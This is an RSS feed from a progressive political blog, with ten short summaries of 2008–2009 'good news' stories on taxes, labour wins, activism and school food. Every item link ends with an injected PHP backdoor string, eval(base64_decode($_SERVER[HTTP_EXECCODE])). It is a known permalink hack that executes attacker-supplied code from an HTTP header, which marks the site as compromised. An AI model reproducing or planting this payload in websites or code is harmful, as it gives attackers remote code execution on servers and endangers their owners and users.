http://reasonstobecheerful.net News and views about what's working in progressive politics Mon, 19 Jan 2009 16:34:18 +0000 http://backend.userland.com/rss092 en The battle over New York's budget is ongoing, but in the space of a couple of months, the governor has moved from saying the "millionaire tax" is off the table to saying that it it is "probably going to be part of the solution." The natives in New York City ... http://reasonstobecheerful.net/2009/01/19/todays-good-news-ny-gov-admits-hell-have-to-tax-rich/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Once again, I bring you stories of hope from Wiretap magazine's year-end issue, including the Student/Farmworker Alliance victory with CIW in bringing Burger King and Subway to improve wages and working conditions.Here's some highlights from the Wiretap list: Burger King and Subway joined McDonald's, Taco Bell, and Whole Foods in agreeing ... http://reasonstobecheerful.net/2009/01/10/todays-good-news-wiretaps-youth-victories-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Certainly most of what we in America hear and see about Israel's current offensive in Gaza is the usual "Poor little Israel can do no wrong" PR blitz.  However, the alternative media is becoming bolder in presenting the truth.  And thanks to the Internet, we have more access to foreign ... http://reasonstobecheerful.net/2009/01/04/todays-good-news-more-cracks-in-pro-israel-media-wall/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Here's a piece of good election news that didn't make most newscasts: In the Chicago-area, racially mixed communities of Oak Park, Berwyn and Riverside, voters approved by well over two-to-one a referendum asking that "our elected officials in Illinois take steps to phase out nuclear power in the state, replacing ... http://reasonstobecheerful.net/2008/12/28/todays-good-news-communities-say-no-to-nuclear-power/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ You've no doubt heard of the Bush plan to "drill, baby, drill" near Moab and other wilderness areas in Utah.  One clever student got in the way. Democracy Now had the exclusive story just before Christmas. The student, Tim De Christopher, waltzed into the auction held by the Bureau of ... http://reasonstobecheerful.net/2008/12/26/todays-good-news-utah-student-saves-wilderness-from-drilling/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ "We haven't seen this since the 30's," said one observer.  Ah, but now, you can expect to see a lot more of it, as laid-off workers at Chicago's Republic Windows and Doors occupied their shut-down factory, tapped into simmering anger about the bailout of the banks, and won the severance ... http://reasonstobecheerful.net/2008/12/11/todays-good-news-workers-occupy-factory-win-demands/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ It always seems that near the end of the year, there are more obituaries, more times when you turn on the radio and hear a certain artist over and over and think "Oh no..."  Here are two giants who really made a mark: Studs Terkel and Miriam Makeba. Chicago being ... http://reasonstobecheerful.net/2008/12/06/todays-good-news-honoring-terkel-and-makeba/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The fine New York newsletter City Limits describes a seminar at the Door, a youth center in downtown Manhattan, about your rights under the Constitution. City Limits  says, "First offered over the summer, a seminar called “Surviving the Streets: Know Your Rights” has returned by popular demand from students who ... http://reasonstobecheerful.net/2008/12/03/todays-good-news-teens-learn-their-rights-vis-a-vis-police/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ We all remember the "tuna surprise" and other awful choices in the school cafeteria.  Nowadays, I understand it could even be McDonald's.   There is a movement afoot, however, to see that kids in school get tasty and nutritious local produce.  The Wall St. Journal had a nice article recently about ... http://reasonstobecheerful.net/2008/09/05/todays-good-news-schools-feed-kids-local-produce/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The Matthew Shepard Foundation has an ambitious goal for its new "Erase Hate" campaign: to equip a million people with tools to raise their voices, and use their talents, against hate. They plan to work in schools, workplaces, and communities, with a special emphasis on youth. "You've got to ... http://reasonstobecheerful.net/2008/07/04/todays-good-news-erase-hate-campaign-engages-youth/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/